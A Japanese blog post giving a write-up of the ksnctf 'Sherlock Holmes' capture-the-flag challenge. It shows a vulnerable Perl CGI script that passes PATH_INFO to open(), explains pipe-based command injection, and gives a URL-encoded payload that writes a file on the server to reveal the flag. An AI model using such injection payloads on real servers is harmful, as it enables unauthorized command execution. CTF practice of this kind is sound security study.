T2M_MJM

大学などで学んだことを真面目に書いていきます。

ksnctf Sherlock Holmes writeup

ksnctf.sweetduet.info

問題

指定された英文を出力する、 perl で書かれたページをクラックする問題です。上部のメニューをクリックすると、 index.pl/{ファイル名} という形式のアドレスにアクセスしてテキストを表示させていることがわかります。ここで index.pl/index.pl にアクセスをすることで、サーバ上で動いている perlスクリプトを確認することができました。

表示されるスクリプトの内問題になるのは以下の2つの部分です。

# Can you crack me? :P
open(F,'cracked.txt');
my $t = <F>;
chomp($t);
if ($t eq 'h@ck3d!') {
print 'FLAG_****************<br><br>';
}
unlink('cracked.txt');
####
open(F,substr($ENV{'PATH_INFO'},1));

my $cgi = new CGI;
$cgi->charset('utf-8');
while(<F>) {
chomp;
s/FLAG_\w+/FLAG_****************/g;
print $cgi->escapeHTML($_)."<br>\n";
}

知識

1つ目の部分から、 index.pl と同じディレクトリに h@ck3d! という内容の cracked.txt が存在する時、フラグを出力していることがわかります。この問題では、サーバをクラックして cracked.txt をサーバ上に作成することが目的になります。

そのために重要になってくるのが2つ目の部分です。perl の open 関数には | ls -la のように、 | を渡されるとその後の文字列を OS コマンドとして実行するという問題があります*1

解答

これを利用して、 index.pl/ 以下に url エンコードで OS コマンドを与えることで、 cracked.txt を作成することができそうです。 以下のアドレスにアクセスした後、もう一度どこかのページを表示すれば、フラグが出力されます。

index.pl/%7Cecho%20h%40ck3d%5C%21%20%3E%20cracked.txt